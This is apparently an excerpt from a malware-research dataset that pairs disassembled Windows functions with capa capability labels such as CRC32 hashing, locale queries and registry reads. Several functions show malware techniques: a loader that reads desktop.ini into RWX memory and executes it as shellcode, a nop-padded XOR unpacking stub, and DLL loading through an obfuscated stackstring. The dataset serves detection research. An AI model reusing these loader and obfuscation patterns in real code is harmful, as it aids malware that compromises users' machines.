joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406752
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406776
xor eax, eax
test eax, eax
je 0x406789
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406789
xor ecx, ecx
jmp 0x40678c
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4068b5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4068ec
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4068c6
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4068c1
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40691d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4068ff
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x133877fc
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7ef669e2
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x408986
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
mov eax, 0x1bf848a
and ecx, ecx
call fcn.004089ab
dec eax
add eax, ecx
xor dword [edx], edi
add edx, 1
or ecx, ecx
cmp edx, ebx
jne fcn.00408986
ret
Function at 0x408320
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call fcn.004017a0
mov eax, dword [0x40c044]
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x25], 0x7a747742
mov dword [ebp - 0x21], 0x776f7759
mov dword [ebp - 0x1d], 0x6e697845
mov dword [ebp - 0x19], 0x775a6841
mov dword [ebp - 0x15], 0x78594a59
mov dword [ebp - 0x11], 0x6c6c642e
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x25]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4083ab
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_load_DLL._Error_code:__d_n
call fcn.00408434
mov eax, 1
jmp 0x40841a
mov dword [esp + 4], str.ShTYwLafPvEGdNnURaeG
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x408400
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_get_function_address._Error_code:__d_n
call fcn.00408434
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 1
jmp 0x40841a
mov eax, dword [ebp - 0x34]
call eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 0
mov edx, dword [ebp - 0xc]
sub edx, dword [0x40c044]
je 0x40842a
call fcn.004016b0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x406688
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00406b30
mov byte [esp], al
cmp byte [esp], 0
jne 0x406811
test edi, edi
je 0x406811
mov byte [esp + 1], 0
test ebp, ebp
jle 0x406751
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x40672c
cmp edi, 0xffffffff
je 0x4066ed
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4066ed
mov byte [esp], 0
jmp 0x406811
cmp dword [esi], 1
jg 0x40672c
cmp dword [esi], 0
jne 0x40671e
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x40671e
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x406811
lea eax, [esp + 0xc]
call fcn.00406368
dec ebp
test ebp, ebp
jg 0x4066d2
cmp edi, 0xffffffff
je 0x406751
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x40674f
mov byte [esp], 0
jmp 0x406811
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x406696
lea edx, [ebx + 2]
invalid

Function at 0x4076b8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4bb058], 0
je 0x40771f
cmp word [0x4bb344], 0xd7b2
jne 0x4076e1
cmp dword [0x4bb34c], 0
jbe 0x4076e1
mov eax, 0x4bb340
call dword [0x4bb35c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x40774c
call fcn.00408240
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4b7032], 0
jne 0x40773b
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4078e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x4b7034], 0
je 0x40790b
mov edx, edi
mov eax, esi
call dword [0x4b7034]
mov ebx, eax
jmp 0x40791c
mov eax, 8
call fcn.004053f0
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x4bb059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x4078a8
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x40794c
mov eax, ebx
call fcn.0040540c
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x40a4cc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40a631
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00407a20
cmp si, word [0x4b7a08]
jb 0x40a564
cmp si, word [0x4b7c08]
ja 0x40a564
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40a564
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x4b7a08]
jae 0x40a53e
mov edi, ebx
dec edi
jmp 0x40a55f
cmp si, word [ebx*8 + 0x4b7a08]
jbe 0x40a54e
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40a55f
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x4b7a0c]
call fcn.0040a3ec
jmp 0x40a564
cmp edi, dword [ebp - 8]
jae 0x40a528
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40a613
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40a613
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040858c
push dword [ebp - 0x160]
push 0x40a64c
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040858c
push dword [ebp - 0x164]
push 0x40a65c
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040858c
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.004087c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a638
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00407a80
ret
Function at 0x422d44
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryW
mov edx, ebx
mov eax, esp
call fcn.0041a77c
add esp, 0x208
pop ebx
ret

Function at 0x422da4
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryW
mov edx, ebx
mov eax, esp
call fcn.0041a77c
add esp, 0x208
pop ebx
ret

Function at 0x422f00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x423036
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x423020
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x422f5d
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x423020
cmp dword [ebp - 0x14], 0
jne 0x422f72
mov eax, dword [ebp - 0xc]
call fcn.00407a20
mov bl, 1
jmp 0x423020
cmp dword [ebp - 0x14], 0x70000000
jb 0x422f80
call fcn.0041f270
mov esi, dword [ebp - 0x14]
inc esi
shr esi, 1
lea eax, [ebp - 4]
mov ecx, esi
xor edx, edx
call fcn.00407ba8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
call fcn.00407fa0
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW
cmp eax, 0xea
je 0x422f26
test eax, eax
jne 0x423020
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x422fce
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x423020
mov esi, dword [ebp - 0x14]
shr esi, 1
jmp 0x422fd6
dec esi
test esi, esi
je 0x422fe5
mov eax, dword [ebp - 4]
cmp word [eax + esi*2 - 2], 0
je 0x422fd5
cmp dword [ebp - 0x10], 7
jne 0x422ff0
test esi, esi
je 0x422ff0
inc esi
lea eax, [ebp - 4]
mov edx, esi
call fcn.00408664
cmp dword [ebp - 0x10], 7
jne 0x423013
test esi, esi
je 0x423013
lea eax, [ebp - 4]
call fcn.00407fa0
mov word [eax + esi*2 - 2], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00407e00
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42303d
lea eax, [ebp - 4]
call fcn.00407a20
ret

Function at 0x4246e4
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4c090c
mov eax, esi
mov edx, 8
test al, 1
je 0x424700
shr eax, 1
xor eax, 0xedb88320
jmp 0x424702
shr eax, 1
dec edx
jne 0x4246f3
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4246ec
pop esi
Function at 0x402b74
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404ea8
test esi, esi
jne 0x402baa
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404f98
jmp 0x402bc8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402a88
mov edi, eax
test esi, esi
je 0x402bc8
cmp dword [ebx], 0
je 0x402bc8
dec esi
jmp 0x402bb1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x40323c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x466008], 0x8088405
inc edx
mov dword [ebx + 0x466008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403ee4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x466024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403f7c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403f5c
xor eax, eax
push ebp
push 0x403f55
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403f98
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f5c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x466024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x466024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404d0c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46804c], 0
je 0x404d6d
cmp word [0x468220], 0xd7b2
jne 0x404d35
cmp dword [0x468228], 0
jbe 0x404d35
mov eax, 0x46821c
call dword [0x468238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4660c0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404d94
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x466034], 0
jne 0x404d89
push 0
push 0x4660b8
push 0x4660c0
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406588
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4067b8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40660b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4067b8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40660b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4067d4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x406694
xor eax, eax
push ebp
push 0x40668d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004063d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x406672
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4067f4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x406672
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406694
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4067ae
cmp byte [ebp - 0xd], 0
jne 0x4066db
cmp byte [ebp - 0x12], 0
je 0x4067ae
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4066f4
dec ebx
cmp byte [ebx], 0x2e
je 0x406703
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4066f3
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4067ae
inc ebx
cmp byte [ebp - 0x12], 0
je 0x406740
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4067ae
cmp byte [ebp - 0xd], 0
je 0x4067ae
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4067ae
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406e9c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406f02
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00405118
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403530
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406eec
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f09
lea eax, [ebp - 0x10]
call fcn.00404ea8
ret

Function at 0x409764
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405368
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40977d
test al, 0x10
jne 0x409781
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x409788
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00405368
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x4097aa
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40c218
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c251
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404f98
jmp 0x40c25a
mov eax, ebx
mov edx, esi
call fcn.00404efc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c264
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c285
mov al, byte [esp]
jmp 0x40c287
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret